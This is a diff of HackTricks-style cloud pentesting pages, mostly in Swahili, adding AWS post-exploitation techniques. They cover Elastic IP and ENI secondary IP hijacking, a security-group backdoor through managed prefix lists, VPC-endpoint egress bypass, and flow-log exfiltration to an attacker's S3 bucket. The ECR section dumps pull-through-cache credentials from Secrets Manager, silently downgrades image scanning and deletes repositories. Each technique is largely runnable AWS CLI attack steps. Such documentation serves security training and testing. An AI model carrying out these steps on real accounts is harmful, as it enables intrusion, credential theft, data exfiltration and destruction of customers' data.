+- Target EIP allocation ID ndani ya account/VPC ileile.
+- Attacker instance/ENI unayodhibiti.
+- Ruhusa:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
+- `ec2:DisassociateAddress` (hiari). Kumbuka: `--allow-reassociation` itafanya auto-disassociate kutoka kwa attachment ya awali.
+
+## Shambulio
+
+Vigezo
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Tenga au tambua EIP ya mhusika (maabara inatenga mpya na kuiambatisha kwa mhusika)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Thibitisha kuwa EIP kwa sasa inaelekezwa kwa huduma ya mwanaathirika (mfano: angalia banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Tambatanisha tena EIP kwa mshambulizi (inaondoa uhusiano na mwathiriwa moja kwa moja)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Thibitisha kuwa EIP sasa inaelekeza kwa huduma ya mshambuliaji
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Ushahidi (uhusiano ulihamishwa):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Athari
+- Inbound impersonation: Trafiki yote kwenda EIP iliyotekwa inapelekwa kwenye instance/ENI ya mshambuliaji.
+- Outbound impersonation: Mshambuliaji anaweza kuanzisha trafiki inayoonekana kutokea kutoka kwa allowlisted public IP (inayofaa kuvuka vichujio vya IP vya washirika/vyanzo vya nje).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Tumia vibaya `ec2:UnassignPrivateIpAddresses` na `ec2:AssignPrivateIpAddresses` kunyang'anya secondary private IP ya ENI ya mwathiriwa na kuihamisha kwenye ENI ya mshambuliaji katika subnet/AZ ile ile. Huduma nyingi za ndani na security groups zinaweka ufikiaji kwa IP maalum za ndani. Kwa kuhamisha anwani hiyo ya sekondari, mshambuliaji anajifanya kuwa mwenyeji anaeaminika kwa L3 na anaweza kufikia huduma zilizokuwa allowlisted.
+
+Prereqs:
+- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
+- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Steps:
+1) Pick a secondary IP from the victim ENI
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Hakikisha host iliyolindwa inaruhusu IP hiyo pekee (idempotent). Ikiwa unatumia SG-to-SG rules badala yake, ruka.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Misingi: kutoka kwenye attacker instance, ombi kwa PROTECTED_HOST linapaswa kushindwa bila chanzo kilichodanganywa (kwa mfano, kupitia SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Ondoa secondary IP kutoka kwenye ENI ya mwathiriwa
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Tenga IP ile ile kwa attacker ENI (kwenye AWS CLI v1 ongeza `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Thibitisha umiliki umehamishwa
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Kutoka kwenye attacker instance, source-bind kwa hijacked IP ili kufikia protected host (hakikisha IP imewekwa kwenye OS; ikiwa haijawekwa, ongeza kwa `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Athari
+- Bypass IP allowlists na kuiga trusted hosts ndani ya VPC kwa kusogeza secondary private IPs kati ya ENIs katika subnet/AZ ileile.
+- Fikia huduma za ndani ambazo zinakagua ufikiaji kwa specific source IPs, zikiruhusu lateral movement na upatikanaji wa data.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+Tumia vibaya customer-managed Prefix Lists kuunda njia ya kuingia kwa siri. Kama rule ya security group (SG) inarejea managed Prefix List, mtu yeyote mwenye uwezo wa kubadilisha list hiyo anaweza kimya kimya kuongeza CIDRs zinazodhibitiwa na mshambulizi. Kila SG (na huenda pia Network ACL au VPC endpoint) inayorejea list hiyo hukubali mara moja mikoa ya IP mpya bila mabadiliko yoyote yanayoonekana kwenye SG.
+
+## Athari
+- Upanuzi wa papo hapo wa allowed IP ranges kwa SG zote zinazorejea prefix list, ukiepuka change controls ambazo zinafuatilia tu uhariri wa SG.
+- Inaruhusu backdoors ya kudumu ya ingress/egress: weka CIDR hatarishi iliyofichwa ndani ya prefix list wakati rule ya SG inaonekana bila mabadiliko.
+
+## Mahitaji
+- IAM permissions:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (kutambua SG zilizounganishwa)
+- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
+- Environment: Angalau rule moja ya SG inayorejea target customer-managed Prefix List.
+
+## Variables
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Hatua za kushambulia
+
+1) **Orodhesha prefix lists zinazowezekana na consumers**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Tumia `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` kuthibitisha ni sheria gani za SG zinategemea orodha hiyo.
+
+2) **Ongeza attacker CIDR kwenye prefix list**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Thibitisha kuenezwa kwa security groups**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Trafiki kutoka `$ENTRY_CIDR` sasa imeruhusiwa kila mahali prefix list inapotajwa (kawaida outbound rules kwenye egress proxies au inbound rules kwenye shared services).
+
+## Ushahidi
+- `get-managed-prefix-list-entries` inaonyesha CIDR ya mshambulizi na maelezo.
+- `describe-security-group-rules` bado inaonyesha sheria ya asili ya SG inayorejelea prefix list (hakuna marekebisho ya SG yaliyoripotiwa), lakini trafiki kutoka CIDR mpya inafanikiwa.
+
+## Usafishaji
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – Bypass ya Egress kutoka kwa Subnets Zilizotengwa kupitia VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+
+Mbinu hii inatumia VPC Endpoints ili kuunda mifereji ya kuondoa data (exfiltration) kutoka subnets bila Internet Gateways au NAT. Gateway endpoints (mfano, S3) huongeza prefix‑list routes kwenye jedwali la route la subnet; Interface endpoints (mfano, execute-api, secretsmanager, ssm, n.k.) huunda ENIs zinazoweza kufikika zenye private IPs zilizo salama kwa security groups. Kwa ruhusa ndogo za VPC/EC2, mshambuliaji anaweza kuwezesha egress iliyodhibitiwa ambayo haipitii public Internet.
+
+> Mahitaji ya awali: VPC iliyopo na subnets binafsi (hakuna IGW/NAT). Utahitaji ruhusa za kuunda VPC endpoints na, kwa Chaguo B, security group ya kuambatisha kwenye ENIs za endpoint.
+
+## Chaguo A – S3 Gateway VPC Endpoint
+
+**Vigezo**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Unda faili ya sera ya endpoint yenye kuruhusu (hiari). Hifadhi kama `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Unda S3 Gateway endpoint (inaongeza S3 prefix‑list route kwa route tables zilizochaguliwa):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Ushahidi wa kukamata:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` inaonyesha njia kwa AWS S3 prefix list (kwa mfano, `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Kutoka kwenye instance katika subnets hizo (with IAM perms) unaweza exfil via S3 bila Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Chaguo B – Interface VPC Endpoint kwa API Gateway (execute-api)
+
+**Vigezo**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Unda interface endpoint na uambatike SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Ushahidi wa kukusanya:
+- `aws ec2 describe-vpc-endpoints` inaonyesha endpoint katika hali ya `available` na `NetworkInterfaceIds` (ENIs katika subnets yako).
+- Instances katika subnets hizo zinaweza kufikia Private API Gateway endpoints kupitia VPCE ENIs hizo (hatitaji njia ya Internet).
+
+## Athari
+- Inavuka udhibiti wa kutoka wa pembezoni kwa kutumia njia za kibinafsi zinazosimamiwa na AWS kuelekea huduma za AWS.
+- Inawezesha kuondoa data kutoka subnet zilizotengwa (mfano, kuandika kwa S3; kupiga Private API Gateway; kufikia Secrets Manager/SSM/STS, n.k.) bila IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+Tumia vibaya `ec2:CreateFlowLogs` kuhamisha VPC, subnet, au ENI flow logs moja kwa moja kwenye bucket ya S3 inayodhibitiwa na mshambuliaji. Mara delivery role itakapowekwa kuandika kwenye bucket ya nje, kila muunganisho unaoonekana kwenye rasilimali inayofuatiliwa hupelekwa nje ya akaunti ya mwathiriwa.
+
+## Mahitaji
+- Principal wa mwathiriwa: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, na `iam:PassRole` (ikiwa delivery role inahitajika/imetengenezwa).
+- Attacker bucket: sera ya S3 inayomwamini `delivery.logs.amazonaws.com` na `s3:PutObject` na `bucket-owner-full-control`.
+- Hiari: `logs:DescribeLogGroups` ikiwa una-export kwenda CloudWatch badala ya S3 (haina haja hapa).
+
+## Hatua za Shambulio
+
+1) **Attacker** huandaa sera ya bucket ya S3 (katika akaunti ya attacker) inayoruhusu huduma ya VPC Flow Logs delivery kuandika vitu. Badilisha placeholders kabla ya kutekeleza:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Tekeleza kutoka kwenye attacker account:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) anaunda flow logs zikilenga attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+Ndani ya dakika chache, flow log files zinaonekana katika attacker bucket zikionyesha connections za ENIs zote katika VPC/subnet iliyofuatiliwa.
+
+## Ushahidi
+
+Mifano ya rekodi za flow log zilizoandikwa kwenye attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Ushahidi wa Bucket listing:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Impact
+- Exfiltration ya metadata ya mtandao inayoendelea (source/destination IPs, ports, protocols) kwa VPC/subnet/ENI iliyofuatiliwa.
+- Inaruhusu uchambuzi wa trafiki, utambuzi wa huduma nyeti, na uwezekano wa kutafuta security group misconfigurations kutoka nje ya akaunti ya mwathiriwa.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Kwa maelezo zaidi angalia
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Ingia, Pull & Push
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Baada ya kupakua picha, unapaswa **kuzikagua kwa taarifa nyeti**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Mshambuliaji mwenye mojawapo ya ruhusa hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,206 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Kwa taarifa zaidi angalia
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Baada ya kupakua images unapaswa **kuzikagua kwa ajili ya taarifa nyeti**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Mshambuliaji mwenye moja ya ruhusa hizi anaweza **kuunda au kubadilisha lifecycle policy ili kufuta images zote kwenye repository** na kisha **kufuta ECR repository nzima**. Hii itasababisha kupoteza images zote za container zilizohifadhiwa kwenye repository.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+
+Ikiwa ECR Pull‑Through Cache imewekwa kwa registri za upstream zenye uthibitishaji (Docker Hub, GHCR, ACR, nk), cheti za kuingia za upstream huhifadhiwa katika AWS Secrets Manager kwa kiambishi jina kinachotabirika: `ecr-pullthroughcache/`. Waendeshaji wakati mwingine huwapa ECR admins ruhusa kubwa za kusoma Secrets Manager, kuwezesha credential exfiltration na matumizi tena nje ya AWS.
+
+Mahitaji
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Orodhesha siri za PTC zinazowezekana
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Toa secrets zilizogunduliwa na kuchambua sehemu za kawaida
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Hiari: thibitisha leaked creds dhidi ya upstream (read‑only login)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Athari
+- Kusoma ingizo hizi za Secrets Manager kunatoa kredensiali za registry za upstream zinazoweza kutumika tena (username/password au token), ambazo zinaweza kutumiwa kwa ubaya nje ya AWS kuvuta private images au kupata repositories za ziada kulingana na ruhusa za upstream.
+
+
+### Ujanja wa ngazi ya registry: zima au punguza ukaguzi kupitia `ecr:PutRegistryScanningConfiguration`
+
+Mshambulizi mwenye ruhusa za ECR za ngazi ya registry anaweza kimya kimya kupunguza au kuzima ukaguzi wa kiotomatiki wa udhaifu kwa repositories ZOTE kwa kuweka registry scanning configuration kuwa BASIC bila sheria za scan-on-push. Hii inazuia pushes mpya za image kuangaliwa kiotomatiki, ikificha images zilizo hatarishi au zenye madhara.
+
+Mahitaji
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Kupungua kwa kiwango kwa registry nzima kwenda kwa manual (hakuna skana za kiotomatiki)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Jaribu na repo na image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Hiari: kupunguza zaidi katika wigo wa repo
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Athari
+- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
+
+
+### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Reduce vulnerability detection quality across the entire registry by switching the BASIC scan engine from the default AWS_NATIVE to the legacy CLAIR engine. This doesn’t disable scanning but can materially change findings/coverage. Combine with a BASIC registry scanning configuration with no rules to make scans manual-only.
+
+Mahitaji
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Hiari) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Athari
+- Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the `PutAccountSetting` API call.
+
+Hatua
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Kwa maelezo zaidi angalia:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM Roles
-
